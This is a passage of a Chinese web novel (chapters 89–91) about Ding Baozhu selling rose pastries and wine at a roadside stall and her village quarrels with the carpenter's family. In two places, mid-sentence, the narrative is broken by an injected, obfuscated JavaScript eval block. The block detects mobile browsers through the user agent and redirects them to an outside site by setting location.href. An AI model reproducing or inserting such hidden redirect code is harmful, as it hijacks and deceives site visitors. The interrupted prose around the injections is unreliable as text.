有的客人是直接原地吃的,咬了一口尝了就睁大眼。 只觉得自己,好像置身于在一片被阳光烘晒过的辽阔花海之中,鼻间尽是馥郁花香,口中也尽是柔和顺滑的甜味,一直甜到了心里去。 更别说还是两种不同口感的吃食,能吃出两种不一样的味道似的。 许多人在吃了其中一个时,就好奇地想要再吃另一个试试,于是丁宝珠的生意,就慢慢好了起来。 但和之前卖凉糕时相比,那还是少了些,不过丁宝珠只卖这一回,所以也不内耗。 而就在这时,她又听见有人朝她喊道: “宝珠姐姐!” 89. 玫瑰酒 丁宝珠循声望去,咦了一声,问道: “宝姜,你怎么来了?” 那人正是三房的女儿丁宝姜。 她手里提着两个篮子过来了,直到丁宝珠的身边,才笑道: “我家不是腌了松花蛋吗?我娘让我早点拿出来卖了,省得有人偷偷看着,巴不得想拿到咧。” 丁宝珠一听,就明白是上次关于蒋氏的那件事。 看来后者被怼了一通,但是心里依旧盯着三房家里的蛋。 毕竟在村里,那养殖业和种田不相上下,可若是做得好的,那也是比较赚钱的,更别提三房还和二房有生意做。 看来姚丹说松花蛋已经预售了,果然是骗蒋氏的,这不就让丁宝姜出来卖掉了? 而且当时院里吵得那么大声,丁宝姜在屋里一定能听得到。 平常也不知有没有从家里人那儿听到什么,但绝对是统一战线的。 丁宝珠连忙问道: “在那之后,家里怎么样了?” 丁宝姜算得上聪明,笑道: “大姐,你别担心。再后来,二婶和我娘就更是在一条船上的了,没少让奶奶动气,嘻嘻。” 丁宝珠听闻放心了,看来只有走出第一步,后续才能有接下来的步伐。 她这个常常忍气吞声的娘,终于是能支棱起来点了。 想了想,她又笑道: “你娘和我娘关系更紧密,那可太好了。” “你吃过早食了不?我这还有点心,你拿个去尝尝!” “不行,我爹娘和我说过,无功不受禄!” 丁宝姜摆摆手,颇有一种小大人的模样。 大抵是因为家里哥哥去了镇上,只有过年时才回来,她作为膝下唯一的孩子,也就更懂事了。 可小大人的前缀依旧是个小字,丁宝姜的年龄到底不大。 又离得近,也是早就闻到那抹甜甜香气,嘴里虽是这么讲,可眼神却时有时无地朝桶子那瞥来瞥去的。 丁宝珠莞尔道: “我也不白给你,你不是来卖松花蛋的吗?” “我们可以做个交换,你用松花蛋来换我的点心如何?反正你也是拿出来卖的,我也正好再要几个呢。” 上次姚丹送了她两个松花蛋,她还没有剥开做什么吃食,说不定多有几个,她就能研究出来了。 丁宝姜听着也好,就用四个松花蛋,换了一块方糕和一个卷酥。 这松花蛋腌起来要比咸蛋麻烦,价格也卖得比后者贵些,还是论个卖的。 她就在丁宝珠旁边跟着叫卖自己的松花蛋,成交了一两笔生意后,就开始摸鱼了。 手里拿着那油纸包,就按捺不住地咬了一口,软糯而又香甜的点心立马俘虏了她的胃口。 那诱人的味道,更是让她两三口就都吃了,嘴里咀嚼着含糊道: “大姐,你这个点心做得也太好吃了吧?我从来没吃过这么好吃的点心!” 村里的孩子糕点本就吃得少,就算是吃了,也是吃例如那云片糕类似的。 但是这玫瑰却不是平民所能一直吃得到的食材,这头一次吃,自然是惊为天人。 “哎呦,你这又有啥新的点心了?” 或许是丁宝姜那一声叫得远了,又是吸引了一波在路上的行人们。 而这时出现了这句话,就说明来者一定是熟客。 丁宝珠定睛一看,原来是邻村纺庄的那些妇人。 这些妇人是和丁宝珍一起去学织布女红的,多亏了后者,如今纺庄里的人都知道了丁宝珠的摊子,所以偶尔也会来买吃食。 只是她还是个摊子,商品的数量少,卖完就没有了,有时就没赶上。 丁宝珠知道这可能是来了大主顾,赶忙笑道: “各位姐妹好啊,我今天的确是上了新呐。” “是用玫瑰花酱做的方糕和卷酥,不仅好吃,谁还不清楚那玫瑰养人啊?各位姐妹若是吃了,保准要比玫瑰还动人呢!” “瞧你说的,我就不信你这是啥灵丹妙药,还能成这?” 有个妇人笑着打趣道: “不过,我倒是第一次见到玫瑰点心,听说这种点心在镇上城里可贵了,咱们可吃不起啊。” 丁宝珠笑道: “娘子不如先看看我做的,我这可是物美价廉,而且小本生意嘛,就卖这一回。” 一边说着,一边还把那桶盖给打开给她们瞧。 妇人们看着那洁白的方糕、金黄的卷酥,又嗅到那迷人的香气,旁边那丁宝姜吃得还津津有味,一问价钱,对于她们来说倒还能接受,便接二连三地都买来尝尝了。 这一下子就去了七/八,丁宝珠喜不自胜,把钱一塞,就十分恭敬地送她们离去了。 丁宝姜在一边连吃也忘吃了,丁绍和姚丹原本就能算作是生意人,从小耳濡目染的,也让她有了几分喜欢上做生意的念头。 只是父母还嫌她小,没几次让她单独去的,这回还是家里忙了,就交给了她。 没想到来到这里遇到的大姐不说,还亲眼见着后者也在做买卖。 还卖得还比她好呢,以前怎么也没见着她还有这天赋? 可想着也许是丁宏教的,丁宝姜随即就释然了,接着卖自己的松花蛋。 而丁宝珠看了看自己的桶内,发现已是差不多卖完了,本来她做的就不多。 但是由于她这次把吃食都涨了价,可成本无非是那些冰糖与米面粉。 掂量着自己那个旧荷包都快要装不下的铜板,她喜滋滋地想:今天又是大赚的一天! 不过归根结底,还得是宋昌易同意送给她那些玫瑰花瓣,不然她也没法有这机遇。 方糕与卷酥快卖完了,但是还有那玫瑰酒。 眼见着时辰尚早,丁宝珠想再留下来,指不定还能把这酒一并卖出去,继续挣出一笔钱来。 于是之后,她就用力推销着那玫瑰酒。 村里很多男人都是喝酒的,但像是黄酒白酒那样的又贵了些,所以大多数也仅是买那种浊酒和米酒来喝。 而听到有酒,果不其然也男人上前来询问,可问过以后,却没有一个人买。 那玫瑰酒几乎是种艳丽的红色,隐约还游着几枚小花瓣,非常好看。 可好看归好看,那些男人却可能是觉得太甜失了酒味,更是瞧着娘们唧唧的,不是男人该喝的酒。 最重要的是,这玫瑰酒的价钱比上回的桃花酿还要贵,都能赶上精酿的酒了,当然也就不会买了。 丁宝珠也无所谓,总归这酒的基酒其实就是米酒,无非是里面多加了点玫瑰酱,大不了她带回去自己喝了。 酿了几坛,她可以说是没怎么喝过呢,而且家里人肯定不会嫌弃。 自从她在家里酿酒后,徐翊是不用再去外面买酒回来喝了。 一有了酒,对她的评价那只能是一个好字,而米酒又属实是一种老少皆宜的酒类,全家也都能喝得。 丁宝珠想到这,时不时吆喝一句,就帮着丁宝姜去卖松花蛋。 正巧此时,那纺庄的几个妇人又回来了。 几句话一问,原来是回头客,过来买方糕卷酥的,于是她便顺利地把最后几个给她们打包带走了。 姐妹俩合作得不错,然而那丁宝姜却忽然向着一个方向问道: “咦,大姐你看,那不是笙哥儿吗?” 丁宝珠往前瞧去,那头上扎髻戴巾一身新衣的男子,可不就是丁笙? 只见他的目光是在这里,可偏偏是留在原地别扭,也不知在纠结什么。 丁宝珠现在心情不错,犯不着为了往昔的某些琐事自找烦闷,挑挑眉道: “随他去干什么,与咱们无关,还是赶紧把东西卖了回家去要紧。” “也是。就是他现在不应该在村塾里读书吗?嘿嘿,莫不是逃了出来玩了?” 丁宝姜捂唇笑道。 丁笙中了童生这件事虽然让村里热闹了几日,可现下也渐渐淡了,毕竟就算中了,之后还是要去读书,再备考下一次的考试。 这个时候已经是村塾里开始上课的时辰了,他怎么出现在了这里? 丁宝珠不明白,却也不多想,只是又叫卖了几句自己的玫瑰酒。 可话音刚落,她就见丁笙踟蹰了片刻,才磨磨蹭蹭地过来了。 站定在摊前,他嚅了嚅唇,终于小声问道: “你这酒多少钱?” 原来是来买东西的,而且保不齐是给村塾里的长辈跑腿的。 丁宝珠心里念着,便道出了定价。 那丁笙一听到价格就炸了,气道: “你这是啥酒能这么贵?琼浆玉液啊?” “我告诉你,这是给我先生买的,你可别想着看到我了就乱加价,我才不会上你的当呢!” 丁宝珠冷笑一声道: “你别给我乱扣帽子,我在外面摆摊了,就对客人是一视同仁的。” “你来了这里,那也是客人,我怎么会做那样的事情?” “什么叫做乱加价?我看纯属是你过来故意捣乱的吧?你爱买不买,不买就去别处买!” 这大道上来来往往的有好几个村子里的人,不是每个人都认识他俩,知道他们有亲属关系的。 但有不少人却是眼熟丁宝珠这位常来摆摊的凉糕娘子的,只当是真遇到了什么难缠的客人,便不满道: “你这小子,咋开口就说人家乱加价?你这语气,咋了,你和娘子有仇不成?” “就是就是,再说酒本来就贵,我还在旁边听过娘子之前就开过价了,也是这个价,根本没有加价,咋张口就来呢?” 这世上还是好人多啊!丁宝珠心里感叹道。 丁笙读了几年书,就把那脸皮也稍稍读薄了一些,那面上也慢慢泛红起来。 最后像是实在受不住了,便掏出一个小酒坛来,不爽道: “那你给我灌满了!” 丁宝珠也不出声,就用酒提子默默打酒。 丁笙在一旁却是越看越气,他的确是来帮先生跑腿的,而且这个机会还是好不容易才争取到的。 可偏偏道儿上今天竟然一个酒水摊子也没有,问了问周边的贩子,唯有一个卖酒的摊子,竟然还是自己那个二房大姐在卖,自然就犹豫了许久才过来了。 这酒闻着倒是挺香,却也不知合不合先生的口味? 丁笙阴沉沉地想着。 最后那丁宝珠报了价格,因着在他心里,方才是被这周围的人羞辱了一番,所以竟连那究竟是几何价格都没细听,交了钱就急匆匆离开了。 可丁宝珠也不管那些,只把丁笙交的钱一并收了。 这玫瑰酒因为里面还有玫瑰酱,所以卖得也比那桃花酿贵,价格完全可以再涨个两倍。 垂眼看着自己坛子里只剩下了一点福根,丁宝珠便准备不再卖了。 而在这时,旁边有离得近的小贩没有卖完东西,却突然开始收起了摊。 她又抬眼,原来是天边不知何时变得半亮半阴,那淡淡的乌云好像在缓缓飘过来一样,估摸着是要下雨了。 自打天气热了后,降雨的频率就多了起来。 可部分也是淅淅沥沥的小雨,不撑伞都不要紧。 但瞧这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那我去灶房做饭去。” 她抬脚就想走,下一秒却被徐晔拉住了,劝道: “别忙活了,你淋雨回来的,要是不好好擦擦,生病了咋办?” “哎呀,不就是几滴雨嘛,我也擦过了,所以没……阿、阿嚏!” 徐晔脸色一沉,不悦道: “你还逞强?就是嘴硬!行了,你先回屋,姨母去做饭了,今天用不着你,你要真是想,晚上再说!” 丁宝珠确实不想在这情况下生了病,只好回到屋内,重新擦了脸,把湿了薄薄一层的衣裳给换下。 又想到坛子里还剩下点玫瑰酒,就去盛了出来,刚好有一整碗。 丁宝珠坐在桌边,房里唯一的小窗口淅零淅留地直作响。 她呷了一口手里的玫瑰酒,只觉得香气清幽,暖甜可口,饮了半碗,身子果然热了起来。 徐晔进门来看到这一幕,撇撇嘴道: “你倒是舒服得紧!” “难道我还得不舒服才行吗?” 丁宝珠反问了一句: “刚刚也不知道是谁这么担心我,怕我淋了雨着凉呢!” 徐晔面上一红,再红点就要和那玫瑰酒的颜色差不多了。 嘟嘟囔囔几句,最后也是坐下了。 丁宝珠把那碗玫瑰酒一推,问道: “要不要尝尝?” “……你喝过的,我才不喝。” “不喝就算了,反正就剩这些,以后也没了。” 丁宝珠笑吟吟说着,又道: “还是说,你喝了这些就要醉了?” “……啥?” 被这一激,徐晔立刻不服道: “这话谁说的?上次只是因为有人灌我酒,我才没那么弱呢!” 他说着,当即就拿起碗一饮而尽,末了咂咂嘴,又蹙眉道: “这是酒么?咋这么甜滋滋的?” “这是玫瑰酒,当然是甜的,好喝吧?” “可惜下次喝,就不知道是什么时候咯!” 丁宝珠半叹道,撑着下巴颏望着窗外的雨。 窗户留着一条缝隙,一蓬又一蓬的凉气逐渐漫了进来。 徐晔听闻,却也缄默,心里不知在想啥。 就在这时有人敲了敲门道: “大哥,大嫂!” 两人都听出那是徐莹的声音,徐晔起身开门,徐莹便道: “大哥,爹娘说了,今天下大雨,就不在外面摆桌子了,咱们拿了饭菜各吃各的。” “行,我晓得了,你去吧。” 徐晔说着,又对丁宝珠说: “我去拿饭菜,你把桌子抬一抬。” 素日里那桌子都是靠着墙放的,徐晔常常不坐,坐了也只犯别扭,坐她对面。 丁宝珠摇摇头,但还是把那小桌子搬了一搬。 徐晔很快将那些家常便饭端了上来,也是平日里常见的。 徐家的肉还是存着不少,不过大多数都是腌过的肉干,只有哪天买肉了,才顺便吃次鲜肉,就像上回丁宝珠买的肉,之后也是逃不过被腌的命运。 但是在村里能够时不时吃到肉,已经是件很幸福的事情了,所以才有人无视了做猎户的危险,眼里只看到了他们身边的条件。 丁宝珠和徐晔各自埋头吃饭,窗外阴雨阵阵,到底来说,夏天就要来临了。 90. 狗咬狗,一锅粥 词曰: 初夏南风蓼岸红,绛蔷绿柳捕蝶蜂。 黄杏芦枝冰酒酿,麦团乌饭豆糕蒸。 瓜熟苋紫味香浓。 一连又卖了数次凉糕后,丁宝珠今日没有去摆摊了,而是挎着一个竹篮,径直去了林木匠家。 脚下的泥巴地,被阳光烘烤过后变得十分干燥坚硬。 在下了几场雨后,那太阳仿佛也被浣洗过了一遍似的,也变得又新又亮,开始持续不断地升温释放起来。 把天际照得明晃晃的,有时还直刺眼睛,视野中到处都是金灿灿的。 先前的衣裳,这时再穿就热起来了,好在柳萍在她的嫁妆里将一年四季的衣裳都预备了,她从箱笼里找出了一件苎麻做的衣裳来穿。 苎麻已经是属于很轻便的材料了,其实现在还远没有到酷暑的时节。 但村里人都是要干活的,所以都会提前穿上更加轻薄透气、吸汗耐磨的衣物,而她嫁过去后自然也要干活的,细心的柳萍便给她做了几件。 林木匠家的院里,也是铺着大量阳光,满是木头的气味。 地面上也尽是没打理过的木屑木花,各个工具。 丁宝珠在篱笆墙外喊了一声: “林木匠在吗?” 过了几秒,那屋门打开,林森出来,远远看到她后,似乎愣了愣。 又回头瞧了瞧,最后仍是默默地过来,问道: “丁娘子,你咋来了?” 丁宝珠解释道: “我来订做东西,不过……我没打扰吧?” “不打扰,不打扰。” 林森不好意思地挠挠头: “我爹中午喝多了酒,现在还在睡呢,叫也叫不醒的,娘子你要订做什么东西?” 丁宝珠不动声色,心里却有些犹豫。 遥想上一回是林材接待自己的,村里都能有传言,这次怕是又会出现点闲言碎语吧? 但她既然来了,总不能就当串个门聊聊就走了。 而且林材这个酒蒙子,下次说不定还是起不来,只好道: “上回你们做的那个保温桶还不错,我想着再做几个,行不行?” 林森听着,不禁眼前一亮。 其实上回那两个保温桶是他做的,而林材见他想要做,倒是乐得把活儿交给他,但这事儿丁宝珠是不清楚的。 可眼下听后者夸奖了自己做的活儿好,林森就不由自主地感到稍稍飘飘然起来,便笑着问: “当然是可以了!不知娘子这次想要做些啥?” 丁宝珠心里觉得怪怪的,这林小木匠不是害怕到看到原主就要逃吗? 她原本还担心又要逃跑,林材又不在,订做就没法顺利进行了呢,怎么现在成了笑脸相迎了? 还颇有些献殷勤的意思! 丁宝珠想了想,快速道: “那就再要两个保温桶,两个保温箱吧,我们还是和之前一样签个字据,我也好先把订金付了。” “这次我也带了纸笔,就直接在这里做好就行了。” 以往像那些普通人家来订做,也都是来做农具的。 费的材料并不多,交的钱自然也不多了,况且一把农具还能用上许久。 再上一阶的,就是做家具一类的物品了,但那基本上都是发生了什么大事,一般人家才会出钱来做。 所以说到底,林家虽是象山村中唯一的木匠,但其实素日里来的生意并不多。 家里的钱除去日常花销,还都被林材拿去买酒了。 上一次成的大生意,那还是丁宝珠订的那两个保温桶呢。 毕竟桶子和箱子之类的,已经能算作家具了,用料那也是实打实的! 没想到她这次来,不但又要两个桶子,竟然还要两个箱子。 饶是林森没有自己心里的小九九,也对这笔大买卖感到欢喜,自然也有一半显现出了脸上。 “好,好,都听你的。” 林森忙答应下来,丁宝珠就取出了纸笔,写了两份字据。 写字还是要花时间的,而后者低着头的时候,那前者就看着她。 发现她头上扎了条头巾,把发髻略略遮住,倒是将脸蛋都露出来。 可是以前那张发起的大饼脸,不知何时成了温和的鹅蛋脸,身上还穿着一件天青色的新衣,讲不出的一股子奇异的恬静。 林森只感觉心里像是架着一根竹马似的,摇摇晃晃起来。 然而就在这时,距离林家院子不远处,正走来几位上了年纪的妇人,都抱着木盆,里面是已经洗好的衣物。 自从天气热后,自家去干活的男人,亦或是继续跑出去疯玩的孩子,就愈发容易出汗,换洗衣裳也就更勤了,少不得要让她们洗。 而那里面的妇人,也有那先前与李银屏大吵一架的金婶,和劝架的姜婶,果然后来也再也没有碰过面了。 然而眼尖的金婶,立马就见到了林家似乎有外人来了,别的婶子都在谈天说地,她却定睛一看。 呦呵,那不是丁家的珠姐儿吗? 再一瞧——好家伙,那森哥儿竟然也在?! 金婶连忙拉住一位妇人,小声道: “我说苗婶子,你快看那边!” 那位苗婶子也就是林材的老婆苗氏,她被金婶拉住,又听了这话,往那方向望去,转眼就怒火中烧起来。 要说这苗氏,自打林材酗酒之后,她就不再对他抱有期待了,而是把所有的希望,都给了正在学木匠的林森。 盼望着他能够尽早学成,将来凭着手艺能挣钱,到了最后,也好给自己养老。 所以有时连媒婆上门,她也是婉拒了,不然娶了媳妇,把事业荒废了可咋整? 哪曾想半路杀出个丁宝珠,别的姑娘倒是不怎么主动,偏偏就她大大咧咧的。 和个山匪去抢压寨夫人似的,就是要嫁给林森,害她的心肝宝贝儿子吓破了胆,甚至到了晚上也睡不好。 为此,她倒是与林材合伙去丁家闹腾过一阵子。 如今好不容易嫁出去了,咋又来到她家里了? 其实她也听说过,丁宝珠上回其实就来过林家。 只是那时她恰巧不在,等回去后发现了一坛子酒,还是那丁宝珠送来的,气得她当时就要砸了。 可林材得了酒,眼里哪还有她这个媳妇,为此也发了火,和她大吵一架才罢休。 这些她可是都记得牢牢的呐! 苗氏立即就要冲过去,可又被金婶给拉住了,劝道: “我说苗婶子,咱们先看看情况再说。” “我记得你儿子以往都是不敢见珠姐儿的,咋今天就能面对面了呢?这可奇怪啊,得弄清楚,省得以后再有啥幺蛾子!” 苗氏听了,只好暂且按下,先观望观望。 这下连姜婶也开始看戏了,问道: “上次我还以为你就是和李婶吵架呢,没想到还真有这一出?” “这珠姐儿早就嫁了,咋还和苗婶子家不清不楚的?” 金婶呸了一口道: “你当村里那些话都是空穴来风?没那些话我哪能瞎说!” “李银屏这个三八婆,自己儿子当了绿头鸭不知晓,还来说我,真是狗咬吕洞宾!” 那苗氏正在气头上,听到金婶这么讲,说出口的话就更加不管不顾了,啐了声道: “得了吧,啥儿子?到底不是膝下亲生的,听闻养了那晔哥儿十几年,还是念着他那早死的亲娘,最后,怕不是还是为他人缝嫁衣去!” 几个婶子在那嘟嘟囔囔的,丁宝珠已经写好了字据,两人各自一份。 因着林森也不识字,所以也是用老办法画押。 丁宝珠又问道: “我订金要交多少?” 林森迟疑一会儿,平日里都是自己做工,这生意上的事情都是林材做的,实际上他也不知道该交多少是最好的,便道: “上次交了多少,这次就交多少吧。” 丁宝珠点头同意,就从荷包里数了五十文钱出来。 然而刚要交给林森,却突然从旁边窜出一个人来,当下就把那手给大力地一拍,铜板叮铃铃掉了一地。 丁宝珠皱起眉,还没开口,那妇人便大喊大叫道: “一个没看住,你又来偷汉子?上回送的酒,咋的,这回开始送钱了?我说你咋那么不要脸呢?” “明明都已经嫁了人了,还来见我家儿子做啥?!” “哎呦喂,大家伙儿快来看啊!这婆娘好生不要脸,家里现今有夫君了,还来和我家没娶亲的儿拉拉扯扯的,成何体统啊!——” 林家屋院不大,旁边挨挨挤挤的,就是其他民居和邻居。 这时候也皆是家里的妇人在家,那苗氏扯着嗓子不停嚷嚷,便引得人家打开窗,或直接出来吃瓜了。 林森率先面色一红,说道: “娘,你这是在做啥!丁娘子是过来订做容器的,你别瞎讲八讲的!” “我呸!什么订做容器,我看你才是糊涂了,在听她瞎讲吧?!” 苗氏是不喊了,却是斜眼恶狠狠盯着丁宝珠,嘴里对着林森没好气道: “先前过来献殷勤还送酒,我今天可是亲眼见到又给钱的,还凑得那么近!” “我说儿啊,你之前见着她都要绕道走,提一下都害怕,如今咋这样亲密了?是不是她给你父子俩好处了?!” 她说完,越想越气,干脆又是一屁股坐在泥地上,捶胸顿足地抱怨道: “我这是造了什么孽,偏偏遇到你这母夜叉,哪里都躲不过你!你还要祸害我们林家到啥时候哟!……” 看热闹的人愈加多了,把那眼神在林森身上转了一圈后,就慢慢移到了丁宝珠身上不走了。 毕竟以前发生的那事儿,村里人不仅都知晓,而且林家森哥儿还是受害者,今日出了这场戏,心里的天秤自然都歪向了林家。 毕竟很多人都不清楚,眼前这个丁宝珠已经改了性子了。 林森更是涨红了脸,可是动了动唇,却紧张到啥也说不出口。 但就在这时,那丁宝珠一步上前,就往那苗氏脸上吐了一口,骂道: “好你个泼皮老油嘴儿,我现在在村里被造谣的谣言,怕不就是你传出来的吧?你看看这是什么?这是我来你家订做容器的字据!” “你不识字不要紧,大不了咱们去村长家说清楚,看看到底哪个是心脏的,那看什么都是脏的!” 那苗氏被丁宝珠吐了一口,登时就站起身来怒不可遏道: “你个小淫/妇还有理了?村里人谁不知道你以前死皮赖脸都要攀上我家,为了我家森哥儿还情愿撞破了头呢!” “就是嫁到那徐家也是不情不愿的,今天被我抓到了,你死活不承认是不是?不管怎样,我就信我的一双眼!” “我呸!” 丁宝珠叉着腰,立刻就呛了回去。 “你个老母猴吃苞米——净瞎掰!我之前是不懂事,那是犯了天条还是怎么,就不兴我改了?” “你总是扯上村里人做什么?合着村里人都是你的耳报神还是啥?那我还说,现在村里人几乎都知道我在做买卖呢!” “我做生意不得用器具?你应该感到幸运,因为村里只有你一家木匠,不然我才懒得过来订呢!” 她说完,又嫌弃地看了眼怔愣的苗氏,嗤笑一声道: “还有,死乞白赖地嫁到你家?算了吧,你家一个酒蒙子,一个扭扭捏捏没男子气概的,还有你这个泼妇,我真是庆幸没到你家,要人没人,要钱没钱,哪有我现在的夫家好!?” “别说是我了,我看以后有没有其他家的姑娘,要嫁到你家来的!” 讲完这段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13947967|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,看热闹的人群里就有人绷不住轻笑出来。 暂且不提丁宝珠那些往事,可她现下说的却有几分道理。 遥想当年那林材还没有碰酒的时候,一手木匠活计做得又快又好。 现在不仅就交给儿子后不管不问,因为总是喝酒,还闹出不少事来,越来越多的人都不爱和林家接触了,除非是去订做农具。 而森哥儿没有娶亲,村里人也是知道的,只是听了丁宝珠的一席话,那些家里有黄花闺女的就不自在了,渐渐打消了心里攀亲的念头。 最重要的是——要是丁宝珠说的都是真的话,恐怕林家连聘礼也给不起多好的,更别提嫁过去还要面对这么些人了。 “你!你……” 苗氏一个气急,本来还想着把别人吸引过来看丁宝珠的笑话,没想到倒是偷鸡不成蚀把米。 连理都不想讲了,直接动起手来,疯了一般地就往她这撞过来: “我撕了你的嘴!——” 众人一阵惊呼,丁宝珠却冷静地往旁躲去,干脆直接抬脚,把苗氏给拌了个趔趄,继而摔倒在了地上。 人群里有人笑起来,还有苗氏的痛呼,那林森的脸上一会儿白一会儿红,现场简直是乱哄哄的。 就在这时,院内的房门被大力地推开,林材穿着件背心,摸着肚皮晃晃悠悠地出来,不满地嗄声道: “吵啥吵?外面咋围着那么多人?不知道老子在睡觉吗?!” 苗氏好不容易才转过身来,破口大骂道: “你个杀千刀的,你老婆被打了,你还只顾着睡觉?!” “都怪这个小贱人!你们父子俩还向着她,哎呦……我真是不想活了……” 苗氏越说,那末端越带着一丝哭腔。 人群这时有人嘲笑的口吻道: “老林,人家娘子好好的过来谈生意,现在却被你媳妇给打断咯!你还不赶紧处理了?” 林材揉揉眼,于是就见到神态不一的自家儿子,自家媳妇和……丁宝珠! 虽是往昔发生过那些事,可最近后者来自家照顾生意还有酒喝,林材自然就对她更改了几分印象。 而这次上门,也必不是为了往事来的,估摸着还是那生意事咧,可不曾想竟被媳妇给搅黄了? 林材想到这黑下脸来,上去就踹了苗氏一脚,大喝道: “你还嫌家里不够丢人是吧?还不快进屋去?这里有你这婆娘啥事?!” “好啊林材,你竟然为了那个贱人来欺负我!” “我还是你媳妇吗?你安的是啥心?就算我不活了,你也别想活!” 苗氏摔了一跤,但是嗓子却是没坏,反而愈演愈烈。 继续叫嚷着,目标就不再向着丁宝珠了,而是自家相公林材,用劲扑上去就是又挠又抓。 那林材一时没注意,酒意也没完全散去,还真被苗氏给挠了几下。 他顿时恼火起来,立刻就与泼辣的苗氏撕扯在一块儿,完全不想被压下去地气道: “你这婆娘吃了熊心豹子胆了,也敢伤我?在这丢人现眼的作甚?信不信老子休了你?!” 这下过来凑热闹的人就更多了,但已经不是来看丁宝珠的笑话了,而是乐得看林家这逐渐变得狗咬狗的场景。 林森终于上前一边拉一边劝道: “爹,娘,你们别打了,这下你们岂不是都丢人了?” “丁娘子来确实是来订做器具的,可别误会她了!” 林材被酒侵蚀了身子,长久下来还真不一定能敌得过苗氏。 只是喘着气松手,仗着自己是一家之主,吐了口唾沫道: “你给我滚进去!要是坏了老子的生意,看老子咋收拾你!” 说完,他又对那人群挥赶道: “去去去,看啥看?凑这热闹有意思吗?” “到时候你们下次家里出了啥事,可别怪我也去掺和掺和!” “呸呸呸,老林你说的这是啥话,你这不是成心咒我们吗?哼,走就走!” 传来几句骂骂咧咧后,人群逐渐散去。 那一直躲在暗处的金婶看完所有,不满足地撇了撇嘴,也只好和姜婶离开了。 而那苗氏也没真的进屋,只是又坐在地上呜呜咽咽起来,骂道: “你这死男人,整日里喝酒,家里的钱都被你拿去买酒去了,我都没说你啥,如今你非要袒护这贱人,这日子没法过了呜呜呜……” 林材有些头疼,一跺脚,刚好踩到一枚铜板,指着骂道: “你这泼妇!蠢女人!还说啥钱呢,你屁股底下坐着的不是钱?现在的情况是有人拿钱来,你非得搞砸了是不?” “别在那哭鸡鸟嚎的,你要真是想要钱,那不捡了?随你去用!” 苗氏红着眼眶,可那几十个铜板,彼时如同天女散花般地落在地上,现下冷静一瞧,最终还是觉得这铜板重要。 于是狠狠瞪了他们一眼,就把那些钱捡了,气哼哼地进了院子。 林材再见丁宝珠冷下了脸,紧忙赔笑道: “娘子,原是我老婆不懂事,你大人有大量,就饶了这一回吧!” “这次你是又想做啥器具了?我保证做到最好!” 丁宝珠翻了翻眼,这哪是因为她,还不是看在那钱的面子上,才这么恭恭敬敬的? 可那苗氏应当是与她结下梁子了,她也不想在待在这儿,便冷声道: “我和你儿子已经签了字据,定金也是交了,让你儿子和你说吧。” “今天这件事你也参与了,她口口声声污蔑我,还当了那么多人的面,我以后在村里还咋过?林木匠,你自己好好想想该怎么做吧!” 讲完,她也就走了,林材瞧着她的背影,摇摇头叹了口气,继而又狞着脸回了屋。 那林森深怕家里又是鸡飞狗跳的,也忙跟着进去了。 91. 擂椒皮蛋 林家之后又发生了什么事,丁宝珠不知晓,只知道她很快就回了家。 推开门,就见李银屏正坐在小杌子上洗着衣裳。 自从上回去溪边与金婶大吵了一架后,何况如今在溪边待着的妇人想必是更多了,李银屏就没再去那儿洗衣裳了。 而是直接在家里洗,反正也不是没有水。 才搓了几遍,就见丁宝珠突然回来了,问道: “咋了,这么气冲冲的?” 丁宝珠没回答,却问: “姨母,你知道林木匠他媳妇是谁不?” 李银屏皱起眉,这咋又和林木匠扯上关系了,莫不是又去了那? 只是那两个已经做好的保温桶,就放在自家院中,而且已经用过很多次了,说明丁宝珠也是真去订做容器的。 何况他们家里的农具,也是去那里做的咧。 李银屏想着,便回答道: “她老婆嘛,就是村里的苗婶子,也是其他村里嫁过来的。” “她就生了森哥儿那么一个儿子,比谁都看得重,跟个金秤砣似的……” 她说到这却顿了顿,心里登时觉得烦闷起来。 想她也嫁过来好长的日子了,却只和徐翊生了女儿,没有儿子。 虽说徐晔现在就是她的儿子,可到底是能有自己一个亲生的好。 如今就连小女儿徐芝都有十岁了,她却再也没有了动静,提到这当然就变得不自在。 丁宝珠倒是没多注意,只是冷笑一声道: “怪不得呢,好个凶的,我不过是和林家写了字据,又交了定金,应该是被她看见了,上来就动手,嘴里也是不干不净的,还企图找来旁人来看笑话哩。” “但是理都是在我这边的,哼,我看她能强到几时?” “啥?动手?她可没伤着你吧?” 李银屏眉头更紧,又口吻怨念道: “要说那苗婶子,倒是也和那金婶走得近……啧,都是嘴碎的!” 丁宝珠叹了口气道: “我现在真就想着我的生意,谁知道他们还是不依不饶的。” “罢了,大不了我以后去找其他的木匠,或者我干脆买我想要的好了,反正也不是没钱。” 李银屏听说后,不禁说道: “这钱还是该省则省,不过这木匠,倒也不是只有我们村里有。” “可一个村里的木匠和村里人都是熟人,不至于坑了,你一个外人去,恐怕就会起心思呐,而且相隔那么远,要做啥,到时候带来带去也麻烦。” 丁宝珠再度叹了口气,摇摇头,就去了灶房里。 玫瑰酱做成点心后已经快用完了,只剩下一点儿,她也不想浪费。 去角落里打开一个坛子,里面满满放着一块块切得规整的豆腐,正是她上次从镇上买来的老豆腐。 而眼下这些豆腐的表面上,也都长出了茸茸白毛,说明已经发酵好了。 她还提前把从邱大夫家那儿买的丹曲磨成了粉,丹曲粉再与那剩下的玫瑰酱混合了。 接下来,她又起锅熬了一锅卤料水,里面还添加了她早买回来的椒粉,灶房里果然就多了几分辣味,差点让她多打了几个喷嚏。 最后把所有的调料都搅和搅和,再重新倒入那坛豆腐里,豆腐像是立马就染上了那红通通的颜色。 